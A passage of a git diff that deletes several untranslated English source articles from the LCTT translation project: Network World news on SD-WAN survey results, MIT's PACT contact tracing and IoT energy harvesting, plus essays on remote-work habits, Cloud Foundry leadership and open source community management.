-选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Michael-Cooney/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3446140/enterprises-find-a-new-use-for-mainframes-blockchain-and-containerized-apps.html -[2]: https://www.networkworld.com/article/3215226/what-is-linux-uses-featres-products-operating-systems.html -[3]: https://www-01.ibm.com/common/ssi/cgi-bin/ssialias?infotype=AN&subtype=CA&htmlfid=897/ENUS120-006&appname=USN -[4]: https://www-01.ibm.com/common/ssi/cgi-bin/ssialias?infotype=AN&subtype=CA&htmlfid=897/ENUS120-014&appname=USN -[5]: https://www.networkworld.com/article/3438542/ibm-z15-mainframe-amps-up-cloud-security-features.html -[6]: https://www.networkworld.com/article/3223692/what-is-a-data-centerhow-its-changed-and-what-you-need-to-know.html -[7]: https://www.networkworld.com/newsletters/signup.html -[8]: https://www.redhat.com/en/blog/enterprise-linux-all-architectures-bringing-red-hat-enterprise-linux-ibm-z15-and-linuxone-iii-single-frame-systems?sc_cid=701f2000000txokAAA&utm_source=bambu&utm_medium=social&utm_campaign=Partner -[9]: https://developer.ibm.com/blogs/inside-the-new-ibm-z15-t02-and-linuxone-iii-lt2/ -[10]: https://www.networkworld.com/blog/itaas-and-the-corporate-storage-technology/?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE22140&utm_content=sidebar (ITAAS and Corporate Storage Strategy) -[11]: https://www.networkworld.com/article/3536654/ibm-taps-new-leaders-for-hybrid-cloud-battles-ahead.html -[12]: https://www.ibm.com/downloads/cas/LQZ4RONE -[13]: https://developer.ibm.com/blogs/data-privacy-passports-for-developers/ -[14]: https://www.networkworld.com/article/3429258/real-world-tools-for-multi-cloud-management.html -[15]: https://www.facebook.com/NetworkWorld/ -[16]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200415 Network World 2020 State of the Network- SD-WAN, edge networking and security are hot.md b/sources/talk/20200415 Network World 2020 State of the Network- SD-WAN, edge networking and security are hot.md deleted file mode 100644 index 7e9543e099..0000000000 --- a/sources/talk/20200415 Network World 2020 State of the Network- SD-WAN, edge networking and security are hot.md +++ /dev/null @@ -1,96 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Network World 2020 State of the Network: SD-WAN, edge networking and security are hot) -[#]: via: (https://www.networkworld.com/article/3537559/state-of-the-network-sd-wan-edge-networking-and-security-issues-heat-things-up.html) -[#]: author: (Michael Cooney https://www.networkworld.com/author/Michael-Cooney/) - -Network World 2020 State of the Network: SD-WAN, edge networking and security are hot -====== -Network World survey finds 5G, IoT, server consolidation and WAN optimization top priorities. -[orna wachman / Pixabay][1] [(CC0)][2] - -Networking trends including [SD-WAN][3], edge and [5G][4] technology dominate the plans of IT executives and management as they look to develop efficient, bulletproof enterprise communications strategies for the future. - -Those trends and others such as network security, server consolidation and WAN optimization were cited as primary IT drivers of future investment, according to Network World's 2020 State of the Network report. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][5] - -The  survey tapped 268 IT executives and management personnel with primary networking responsibilities for their organization to find out what initiatives are motivating the move to a more digital business environment. - -### SD-WAN and WAN optimization - -The survey found that 58% of respondents said SD-WAN can improve bandwidth efficiency, and 55% said it will expand connectivity options. 48% said it will encourage [hybrid cloud][6] and 41% said it would encourage multi-cloud adoption. The Network World survey found that the increased use of containers and cloud-based applications that need access from the edge is also driving the use of SD-WAN technologies. - -There are a few differences by company size: 63% of enterprises say SD-WAN will improve the bandwidth efficiency for its cloud resources compared to 55% of SMBs. Close to half (46%) of enterprises expect SD-WAN to encourage multi-cloud, while only 26% of SMBs agree, perhaps because multicloud is less prevalent in smaller organizations, the survey stated. - -The State of the Network survey found that 44% of organizations are currently piloting or using SD-WAN, and another 28% have it on their radar. Organizations expect SD-WAN to improve management and monitoring (52%), increase resiliency (51%), improve network security (50%) and prioritize business-critical traffic (46%), the survey stated. - -It will probably come as little surprise that the technologies around SD-WAN are hot. In separate recent survey reports, analyst firm IDC says that 95% of enterprises will be using [SD-WAN][7] technology within two years, and that 42% have already deployed it. IDC also says the SD-WAN infrastructure market will hit $4.5 billion by 2022, growing at a more than 40% yearly clip between now and then. - -[][8] - -“The growth of SD-WAN is a broad-based trend that is driven largely by the enterprise desire to optimize cloud connectivity for remote sites,” Rohit Mehra, vice president, network infrastructure at IDC [said recently][9]. Going forward, the addition of features such as cloud-based application insights and performance monitoring will be a key part of SD-WAN rollouts, Mehra said. - -Cisco has talked about the growth of multicloud networking motivating many businesses to re-tool their networks in favor of SD-WAN technology, Cisco wrote recently. SD-WAN is critical for businesses adopting cloud services, acting as a connective fabric between the campus, branch, [IoT][10], [data center][11] and cloud. - -While SD-WAN is popular, its predecessor, WAN optimiization, is still in heavy use. The IDG survey found that more than half of organizations (53%) are currently piloting or using WAN optimization, which was traditionally centered around a single centralized hub or data center where an organization’s applications and data are hosted. With widely disparate user communities, many enterprises are now viewing new application-centric or regionally distributed architecture as a way to replace MPLS sprawl with purpose-built regional hubs, the survey stated. - -### Edge is big - -Often associated with SD-WAN, edge computing is also a high priority for customers in the Network World study, which found that more than one-third of organizations surveyed (36%) already have edge computing tools in production or are piloting initiatives, and another 25% are actively researching the technology. - -Edge computing is driven by a number of factors. Gartner research says that by 2023, more than 50% of enterprise-generated data will be created and processed outside the [data center][11] or cloud, up from less than 10% in 2019. - -Hand-in-hand with that change is a shift in what technologies are supported at the edge of the network, and that means information processing, content collection and delivery are placed closer to the sources, repositories and consumers of this information. Edge networking tries to keep the traffic and processing local to reduce latency, exploit the capabilities of the edge and enable greater autonomy at the edge, Gartner says. - -The Network World survey stated that [edge-computing][12] adopters expect the technologies  to reduce network latency and operational expenses, allow real-time data processing and save bandwidth. It is also expected to preserve uptime and resilience by reducing the number of network failures, providing an [IoT][10] security framework and reducing the impact of data-center outages. - -Despite all of the virtues of edge computing, security concerns are still on the minds of the vast majority of respondents (77%). More than half of those surveyed believe that  edge devices were not built with security in mind (55%), that the need for middleware creates an additional attack surface (51%) and that there are many other potential attack vectors due to the heterogeneous computing environment (51%). - -The survey stated that 69% of respondents implementing edge computing said network security has already been or will be affected, and 55% said their network management will be affected. Additionally, 49% said their cloud will be affected, perhaps because edge computing has the ability to reduce the amount of data that needs to be processed in theh cloud. - -### Security is a hot spot - -The "State of the Network" survey found there are a variety of data-center security concerns. Topping the list are DDoS attacks, which are aimed at disrupting and disabling internet services, and web application attacks where attackers target vulnerable web servers and install malicious code. - -Organizations are taking a variety of actions when it comes to mitigating these security risks, according to the study. For example the survey found that for 88% of respondents, [firewalls][10] are still the front-line defense. Access-control technologies are being used by about 81% of respondents and anti-malware is being used by 70% of enterprise customers with intrusion prevention being used by 66%. - -With the increasing number and complexity of cyber threats, it’s not surprising that almost three-quarters of respondents (71%) are either piloting, currently using or upgrading network security-monitoring technology. Network security monitoring helps to identify slowdowns and problem areas as well as allows administrators to attack problems as they happen and help prevent future attacks, the survey stated. - -### 5G is on the radar - -51% of respondents say their organization is actively researching 5G, but just 11% are piloting or using it in any capacity. Uses interested organizations are considering include broadband mobile (51%), IoT connectivity (43%), [branch or remote site connectivity][13] (41%) and low-latency communications and fixed wireless access (40% each), the survey stated. - -Join the Network World communities on [Facebook][14] and [LinkedIn][15] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3537559/state-of-the-network-sd-wan-edge-networking-and-security-issues-heat-things-up.html - -作者:[Michael Cooney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Michael-Cooney/ -[b]: https://github.com/lujun9972 -[1]: https://pixabay.com/photos/young-man-student-studying-learning-4053324/ -[2]: https://creativecommons.org/publicdomain/zero/1.0/ -[3]: https://www.networkworld.com/article/3031279/sd-wan-what-it-is-and-why-you-ll-use-it-one-day.html -[4]: https://www.networkworld.com/article/3203489/what-is-5g-how-is-it-better-than-4g.html -[5]: https://www.networkworld.com/newsletters/signup.html -[6]: https://www.networkworld.com/article/3429258/real-world-tools-for-multi-cloud-management.html -[7]: https://www.networkworld.com/article/3489938/what-s-hot-at-the-edge-for-2020-everything.html -[8]: https://www.networkworld.com/blog/itaas-and-the-corporate-storage-technology/?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE22140&utm_content=sidebar (ITAAS and Corporate Storage Strategy) -[9]: https://www.networkworld.com/article/3527194/multicloud-security-integration-drive-massive-sd-wan-adoption.html -[10]: https://www.networkworld.com/article/3207535/what-is-iot-the-internet-of-things-explained.html -[11]: https://www.networkworld.com/article/3223692/what-is-a-data-centerhow-its-changed-and-what-you-need-to-know.html -[12]: https://www.networkworld.com/article/3224893/what-is-edge-computing-and-how-it-s-changing-the-network.html -[13]: https://www.networkworld.com/article/3250664/sd-branch-what-it-is-and-why-youll-need-it.html -[14]: https://www.facebook.com/NetworkWorld/ -[15]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200416 Contact tracing via Bluetooth could help track COVID-19 transmission.md b/sources/talk/20200416 Contact tracing via Bluetooth could help track COVID-19 transmission.md deleted file mode 100644 index 86fa318f1c..0000000000 --- a/sources/talk/20200416 Contact tracing via Bluetooth could help track COVID-19 transmission.md +++ /dev/null @@ -1,55 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Contact tracing via Bluetooth could help track COVID-19 transmission) -[#]: via: (https://www.networkworld.com/article/3538333/contact-tracing-via-bluetooth-could-help-track-covid-19-transmission.html) -[#]: author: (Jon Gold https://www.networkworld.com/author/Jon-Gold/) - -Contact tracing via Bluetooth could help track COVID-19 transmission -====== - -Thinkstock - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][1] - -A team of researchers from MIT has developed a novel method of tracking COVID-19 transmission among the population, using Bluetooth “chirps” that could automatically trace COVID-positive contacts and warn those who have potentially become infected, without violating their privacy. - -The system is called PACT, or Private Automated Contact Tracing. It works by sending random strings of numbers via low-power Bluetooth from a user’s smartphone to other nearby devices using the system, creating a coded list of smartphones that a given user has been close to in the past 14 days. - -If the user subsequently tests positive for COVID, he or she can upload that list of “chirps” to the database, so that other users can run a check to determine whether they might have exposed. - -MIT said that the system uses advanced privacy protection methods to ensure the privacy of both COVID sufferers and those checking to see whether they’ve been exposed. People would need to opt in, and researchers specifically highlighted that PACT does not use any GPS, wireless location or phone ID information. - -“For these broadcasts, we’re using cryptographic techniques to generate random, rotating numbers that are not just anonymous, but pseudonymous, constantly changing their ‘ID,’ and that can’t be traced back to an individual,” said MIT institute professor Ron Rivest, who led the project. (Rivest knows a  thing or two about cryptography: he’s the R in RSA, the first publicly available public-key cryptosystem.) - -The idea behind PACT is to make sure that the system isn’t tracking any individuals specifically. Rather, it’s meant to be a yes/no resource for those wondering whether they may have been in proximity to someone with COVID. It’s currently at the proof-of-concept stage – the team recently overcame the hurdle of getting Androids and iPhones to speak to each other – and overtures have been made to smartphone makers, Apple, Google and Microsoft to try and get the system into the public’s hands as quickly as possible. - -“The aim of the prototype is to prove to these developers that this is feasible for them to implement,” said Rivest. - -**[ [Take this mobile device management course from PluralSight and learn how to secure devices in your company without degrading the user experience.][2] ]** - -The team hopes that if PACT comes into widespread use it would enable a much more selective approach to quarantine and give communities the ability to return to normalcy more quickly. Tracking the spread of a disease like COVID with more speed and precision could let public health authorities suggest testing to specific groups of people if they notice a pattern emerging. - -MIT also said that the team has demonstrated PACT to various government agencies, and coordinating similar efforts elsewhere in the U.S., as well as in Europe. - -Join the Network World communities on [Facebook][3] and [LinkedIn][4] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3538333/contact-tracing-via-bluetooth-could-help-track-covid-19-transmission.html - -作者:[Jon Gold][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Jon-Gold/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/newsletters/signup.html -[2]: https://pluralsight.pxf.io/c/321564/424552/7490?u=https%3A%2F%2Fwww.pluralsight.com%2Fcourses%2Fmobile-device-management-big-picture -[3]: https://www.facebook.com/NetworkWorld/ -[4]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200416 Harvesting ambient energy will power IoT, scientists say.md b/sources/talk/20200416 Harvesting ambient energy will power IoT, scientists say.md deleted file mode 100644 index 8831fcbfbe..0000000000 --- a/sources/talk/20200416 Harvesting ambient energy will power IoT, scientists say.md +++ /dev/null @@ -1,66 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Harvesting ambient energy will power IoT, scientists say) -[#]: via: (https://www.networkworld.com/article/3536697/harvesting-ambient-energy-will-power-iot-scientists-say.html) -[#]: author: (Patrick Nelson https://www.networkworld.com/author/Patrick-Nelson/) - -Harvesting ambient energy will power IoT, scientists say -====== -Magnetic fields found naturally around electrical devices could be diverted and converted into electricity to power the IoT. -Thinkstock - -Stray, ambient magnetic fields that are naturally created from electricity usage should be captured, diverted, and converted into power for Internet of Things sensors, researchers say. - -"Just like sunlight is a free source of energy we try to harvest, so are magnetic fields," said Shashank Priya, professor of materials science and engineering and associate vice president for research at Penn State, in a statement published [on the university's web site][1]. "We have this ubiquitous energy present in our homes, office spaces, work spaces and cars. It's everywhere, and we have an opportunity to harvest this background noise and convert it to useable electricity." - -Electricity produces tiny magnetic fields around common power cables, computers and lighting found in factories, homes and offices. That energy, if harnessed, could power sensors and small data-sending radios, the academics think. Penn State is attempting to design ambient power receptors for IoT. - -### Materials science - -The group at Penn State has been having some success getting it to work. Experimental devices that are thin and about 1.5 inches long are being tested. Placing the capture-device around or on common appliances does produce electricity, the researchers claim. The key is to put the device where the magnetic field is the strongest. In one experiment, the researchers were able to generate enough power to run 180 LED lighting arrays with a device placed about 4 inches from a space heater. At 8 inches, the device produced enough electricity to operate a clock. - -"These results provide significant advancements toward sustainable power for integrated sensors and wireless communication systems," said Min Gyu Kang, an assistant research professor at Penn State and joint lead author of the study. - -Electricity and magnetism have always gone hand in hand. Magnetism is created by a moving electric charge. It's that movement which creates the magnetic field. That's why low-level magnetism is manifested in electrical wires generally, for example—the electricity is moving along the cable. - -In this case, the scientists are converting the magnetic field, which is caused by the moving electricity, into a separate electrical current. They're doing it with materials science by combining two materials. One of the materials is a magnetostrictor – it converts the magnetic field into stress-generating vibrations. The another material is piezoelectric, which grabs the vibrations and translates that energy into electricity. - -[][2] - -### How to power sensors - -Producing usable power from stray magnetic fields is just one stab at powering the IoT. Just how one goes about producing power for the millions, and possibly billions, of environmental, factory process and other sensors that are expected to come on stream as IoT takes off is up for grabs. - -Batteries have limitations—they need to be changed or charged, for example. Ambient humidity is one possibility I [wrote about recently][3]. In that case, bio-electronics have been proven to capture half-a-volt from ambient air, scientists claim. That's enough to operate rudimentary sensors. Waste heat, too, is another possible source: Researchers are [exploring ways to convert excess heat][4], such as is found in data centers, into light, and then turn that light into electricity. - -Other angles include simply reducing energy consumption through more efficient chips or streamlined wireless communications hardware. Other parasitic techniques are being tried. They include [turning existing wireless noise into a data carrier][5]. It's efficient because one doesn't have to make so much power for radio transceivers—the carrier already exists. - -In the case of the Penn State work, less obvious benefits might exist, too. - -"In buildings, it's known that if you automate a lot of functions, you could actually improve the energy efficiency very significantly," Priya said. “Buildings are one of the largest consumers of electricity in the United States. So even a few percent drop in energy consumption could represent or translate into megawatts of savings. Sensors are what will make it possible to automate these controls, and this technology is a realistic way to power those sensors." - -Join the Network World communities on [Facebook][6] and [LinkedIn][7] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3536697/harvesting-ambient-energy-will-power-iot-scientists-say.html - -作者:[Patrick Nelson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Patrick-Nelson/ -[b]: https://github.com/lujun9972 -[1]: https://news.psu.edu/story/613154/2020/03/31/research/scientists-tap-unused-energy-source-power-smart-sensor-networks -[2]: https://www.networkworld.com/blog/itaas-and-the-corporate-storage-technology/?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE22140&utm_content=sidebar (ITAAS and Corporate Storage Strategy) -[3]: https://www.networkworld.com/article/3529893/seawater-humidity-inspire-new-ways-to-generate-power.html -[4]: https://www.networkworld.com/article/3410578/data-centers-may-soon-recycle-heat-into-electricity.html -[5]: https://www.networkworld.com/article/3449819/wireless-noise-protocol-can-extend-iot-range.html -[6]: https://www.facebook.com/NetworkWorld/ -[7]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200416 How I-ve adjusted my work-from-home habits.md b/sources/talk/20200416 How I-ve adjusted my work-from-home habits.md deleted file mode 100644 index 251e9a7b9e..0000000000 --- a/sources/talk/20200416 How I-ve adjusted my work-from-home habits.md +++ /dev/null @@ -1,86 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How I've adjusted my work-from-home habits) -[#]: via: (https://opensource.com/article/20/4/healthy-remote-work-habits) -[#]: author: (Will Kelly https://opensource.com/users/willkelly) - -How I've adjusted my work-from-home habits -====== -WFH newbs and veterans alike have to adjust to self-quarantine; here's -how to maintain some balance. -![Oatmeal and a laptop.][1] - -I've been a remote worker during various chapters in my career, and have tried to carry those lessons into each new remote work experience. At the end of last year, I switched to a job that lets me work from home. Fast forward to the COVID-19 outbreak; even though I was no WFH novice, I found myself having to adapt just like the many other workers who've been suddenly thrust into remote work. - -In hopes of easing that transition, here are some healthy remote work habits to adapt during a pandemic. - -### Keep exercising even if your gym is closed - -I watched the crowd in my gym dwindle the week before my state government issued its stay at home orders. Whether I've been working in an office or at home, going to the gym helps me vent stress, plus it acts as a logical break in my daily routine because I put down my phone and keyboard to clear my head. - -Fortunately, my gym put some training activities online that I plan to use. I already have a stability ball and Bosu ball in my home office that I began using on day three after the pandemic closed all the offices, schools, and later gyms in my local area. As I write this article, I'm entering week 4 of COVID-19-mandated remote work, and I'm still trying to get back to the exercise dedication and momentum I had before this all happened. - -### Dress (and groom) yourself for work - -I've worked from home on and off during my career. When I started my new job, I decided not to repeat some mistakes I made during the last time I worked from home. One mistake I made was not shaving every day. I also stopped getting dressed for work. - -When you dress and groom yourself for work every day, it can help put you in focus for work. You don't have to be too strict; it is a pandemic after all. I'm still debating on sweatpants Fridays during this crisis. - -### Eat meals away from your desk - -It's too easy to just eat meals at your desk when you work at home. Many even do it at the office. I recommend as you get through your COVID-19-enforced remote working that you use eating as a natural break in the ebbs and flows of your day. For example, unless a deadline was calling, I would go out to lunch to break up my remote working days. These days I get up from my desk, walk outside to get a breath of fresh air and have lunch in my living room. - -### Keep a schedule and track your progress - -It's easy to sleep in when you don't have to go to the office. I recommend trying to keep to your regular schedule as much as possible. It's admittedly easy for me to say that because I live alone. If you're home with children, work with your employer to time-shift your schedule to accommodate the added responsibilities and other challenges you're facing right now. It may take a few iterations to get the right schedule, but you'll appreciate the consistency. - -Another word about keeping a schedule—you might add important work meetings to your personal calendar or as reminders on your mobile device, so you have another reminder as you adjust to the new normal of COVID-19. - -The open source community has a lot of great scheduling and project management tools that you can use to track your own time and progress. There are [project management tools][2] for agile development teams. You can also find open source alternatives to [Googl][3][e Calendar][3] available on Android. - -### Put backup communications channels in place - -Even companies with robust telework programs may see some communications outages. It may not even be their CIO's fault, such as the Microsoft Teams outage that happened in Europe early on during the COVID-19 pandemic. - -Having problems dialing into a conference bridge or your employer's group chat having sporadic issues will surprise nobody right now; most understand that workers are in a period of transition, and not everything will run smoothly. However, you still need to have backup channels in place to make that communication happen, even if it's just coworkers exchanging cell numbers so they can text or call each other as needed. - -There are some fully-featured open source [Slack alternatives][4] available that are worth exploring if your organization is lacking in chat applications or if you want to give your team a backup channel to your official corporate application. (Whether you do it with the approval of your corporate IT department is up to you). - -You should also consider installing implementing [MediaWiki][5] or [Twiki][6] to improve collaboration or to give your team an accessible document repository. - -### Pivot on communications when needed - -Every company where I've been an employee or contractor has had its own communications style. Remote working at scale during the COVID-19 epidemic will challenge those communication styles. - -Be prepared to shake up your communication style, whether you're a newb or long term remote worker. That could mean writing more detailed emails instead of the terse ones you normally send to becoming more of a power user with your company's group chat tool. There are also the open source wikis I mentioned earlier that can provide you a centralized platform for any long-form writing you need to do to help communicate project requirements and changes. - -I also extend this advice to your personal communications during the workday. For example, a friend and I video conference during the day. We never did that pre-COVID-19. - -### Final thoughts - -Lots of people will evolve and rethink their remote work habits. It's only healthy that you prepare yourself for adjusting your own remote working habits. What worked for me pre-COVID-19 doesn't necessarily work right now, so I'm adjusting my remote work habits weekly as I see fit so I can maximize my productivity during the current crisis. - -How are you adjusting your remote work habits during self-quarantine? - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/healthy-remote-work-habits - -作者:[Will Kelly][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/willkelly -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/oatmeal-and-fedora.jpg?itok=NBFUH9eF (Oatmeal and a laptop.) -[2]: https://opensource.com/article/18/2/agile-project-management-tools -[3]: https://www.androidpolice.com/2019/12/30/the-best-free-and-open-source-alternatives-to-google-calendar-on-android/ -[4]: https://opensource.com/alternatives/slack -[5]: http://www.mediawiki.org/ -[6]: http://www.twiki.org/ diff --git a/sources/talk/20200417 Face-to-face collaboration for community to become more impactful - Chip Childers.md b/sources/talk/20200417 Face-to-face collaboration for community to become more impactful - Chip Childers.md deleted file mode 100644 index ccc63dc914..0000000000 --- a/sources/talk/20200417 Face-to-face collaboration for community to become more impactful - Chip Childers.md +++ /dev/null @@ -1,58 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Face-to-face collaboration for community to become more impactful – Chip Childers) -[#]: via: (https://www.linux.com/articles/face-to-face-collaboration-for-community-to-become-more-impactful-chip-childers/) -[#]: author: (Swapnil Bhartiya https://www.linux.com/author/swapnil/) - -Face-to-face collaboration for community to become more impactful – Chip Childers -====== - -“Anytime there’s a crisis, there’s also an opportunity for open source communities to find ways to be helpful,” affirms Chip Childers, the Executive Director of Cloud Foundry Foundation. He believes the remarkable work the Cloud Foundry community has done over the years to enhance enterprise developer productivity will now help those who have adopted the platform to combat COVID-19.; - -“It (the platform) allows them to move quickly to respond to changing conditions, whether those are market conditions, or in this case, a global pandemic. We’re actually pretty proud of a lot of the end-users and how they’re able to use the software more efficiently now,” he says. - -Prior to becoming the Executive Director, Childers served as the CTO for a little over five years. He feels “it’s a very exciting time to be stepping into the role,” and has already chalked out a robust strategy to take the Foundation to the next level. - -For starters, Google has upped its membership of Cloud Foundry and is now at the technical tier. “We were quite happy to have them decide to upgrade and we appreciate their support on that,” says Childers. - -He is also happy with how Kubernetes and Cloud Foundry are coming together. - -“Cloud Foundry and Kubernetes are now becoming complementary. The Cloud Foundry developer platform should run on the Kube infrastructure platform. Both communities have reached the point where they’re ready to see this get blended,” says Childers. - -**Unswerving Support** -VMware ranks among the largest contributors to communities. Last year, it acquired Pivotal, which is one of the biggest stakeholders in the Cloud Foundry project. So, what are the implications on Cloud Foundry of a player that has stakes in both Kubernetes and Cloud Foundry? - -“It’s a clear indication the teams that used to work for Pivotal are being intermixed with the teams that were at VMware, and through some of their other acquisitions like Heptio, they’re all working together on the shared vision of creating the Tanzu platform. This happens to align well with the vision that other Cloud Foundry distributions have — like the way SUSE builds Kubernetes-based infrastructure layers Cloud Foundry on top for developer productivity,” explains Childers. - -Childers believes Paul Fazzone’s promotion to Chairman of the Board will provide an additional boost to Cloud Foundry. - -“Paul heads R&D for VMware’s modern applications business unit. He’s been on our board for a long time. So it’s great that we’re going to continue to see the investment in the open source community not just at the business level from VMware, but also in terms of supporting the contributors, be it developers, product managers, project management support, or marketing support. They’re not wavering in their commitment to open source across the board and Cloud Foundry is one of those communities that will benefit from that,” he states. - -**A Three-Pronged Strategy** -The core mission of the Foundation is to bring a world-class enterprise developer experience to as many enterprise developers as possible. Childers, therefore, considers “enterprise developer productivity for Kubernetes infrastructure our new north star” and has devised a three-pronged strategy to align with it. - -“The first thing is that we will focus on working with the contributing community — the Foundation staff, key member contacts and participants — to improve their experience. - -Next is to build upon the inclusivity and diversity work that the Foundation has done over the years. “We’ve always had a number of different audiences to whom we’ve tried to describe the work of the project: line of business leaders, CIOs, IT operations, and enterprise developers. It is important to make a little bit of a dent in the broader technology industry,” avers Childers. - -The third and final prong of Childers strategy is to encourage developers or companies participating in Cloud Foundry efforts to also participate in Istio (an open platform that connects, manages, and secures microservices), Kubernetes, and the various scenes within the community. - -“There’s a massive overlap, which I think will be very beneficial to everyone. The learnings that developers helping to code Kubernetes or Istio learn during that process should flow in such a way that the CF community builds the developer experience on top of those systems. From this perspective, cross-pollination is really, really important,” says Childers. - -Childers is also planning a tectonic shift in the way Foundation contributors work. “While now it’s going to become a little bit harder as we deal with some of the challenges around the pandemic, I’m very excited about spending a lot of our effort focused on increasing the impact of the face-to-face collaboration time that we’re able to create for the community,” adds Childers. --------------------------------------------------------------------------------- - -via: https://www.linux.com/articles/face-to-face-collaboration-for-community-to-become-more-impactful-chip-childers/ - -作者:[Swapnil Bhartiya][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/swapnil/ -[b]: https://github.com/lujun9972 diff --git a/sources/talk/20200418 My 10 guiding principles for open source community management.md b/sources/talk/20200418 My 10 guiding principles for open source community management.md deleted file mode 100644 index c5e62ba6b3..0000000000 --- a/sources/talk/20200418 My 10 guiding principles for open source community management.md +++ /dev/null @@ -1,116 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (My 10 guiding principles for open source community management) -[#]: via: (https://opensource.com/article/20/4/open-source-community-management) -[#]: author: (Florian Effenberger https://opensource.com/users/floeff) - -My 10 guiding principles for open source community management -====== -It's not just about subject matter expertise; leadership in the open -source world requires special skills and processes. -![community team brainstorming ideas][1] - -Many activities these days, be they sports, social work, arts or free and open source software, are organized in some sort of community. If backed by a respective legal entity, this not only helps with getting donations and entering contracts but also puts statutes and rules in place that establish the values and ideals all contributors share and abide by. - -Inside these communities, there can be various roles. Some of them have formal requirements and annual or biannual elections, e.g., the board of directors or the supervisory board; others exist ad hoc within dynamically grown groups and can change frequently. Either of those are ideally composed of experienced and enthusiastic community members who take leadership and responsibility. - -Many regular contributors will, therefore, eventually face the question of whether to accept a certain role. Based on my experience with being a board member of the former German associations [OpenOffice.org][2] Deutschland e.V. and Freies Office Deutschland e.V., previous chairman and current executive director of [The Document Foundation][3] and founding member of the Munich [Open-Source-Treffen e.V.][4], I would like to share some personal insights on the topic. - -These views are purely my own, and your mileage might vary. It is likely that others had both similar and different experiences, so I'm looking forward to any feedback and thoughts you might have. - -### 1\. Cooperation - -A community is all about cooperation. Boards, groups, and bodies are no different in this regard. Usually, you don't know who will co-serve on an elected committee with you until shortly before you start your duty. Therefore, it is important to cooperate openly with your new colleagues in a transparent, trustworthy, and effective way, within the committee as well as the larger community. - -Sharing a common understanding of responsibilities and duties, and even more importantly, of your goals, visions, and plans can help a lot. It's not necessary for these to all be totally aligned in the first place, as long as there are consensus and compromise to help you identify goals that benefit the community and their objectives at large. In a vivid and diverse community, several goals can often be pursued at once, as most won't be mutually exclusive or otherwise prohibitive. - -And then let's not forget one thing: the fun! Be proud that you have been entrusted by your peers to drive the community and its projects toward a bright future. Be proud that you can help steer the ship and shape the soul of something that is important to you. As is often the case in life, cooperating and working together with others is key to success. Joining forces is not only easier but also much more fun than working alone. - -### 2\. Commitment - -Taking over a role is something that can and should make you proud. See this as something you have been entrusted with for a certain amount of time because your contributions have been recognized by the community as extraordinary and remarkable. You acted in a visible and trustworthy fashion, and people credit you with leadership skills. - -Depending on the role you take, the honor often comes with a fair amount of new responsibility beyond what you already do, and it might involve subjects yet unknown to you. In other words: Be ready to put in some time and effort. - -How much time such a commitment takes obviously depends on multiple factors: what specific role you take, how many contributors you have to coordinate with, how large your organization is, and of course, what kind of projects you run. [In one of its annual reports][5], board members of The Document Foundation explained that every year "they each donate 15 to 20 days of activity to TDF for Board duties in addition to other volunteering" and the members of its membership committee donate "between 10 and 15 days of activity." - -### 3\. Variety - -Should you be elected into an organizations' formal body, you will see yourself responsible for representing the entity from a marketing perspective, but also from 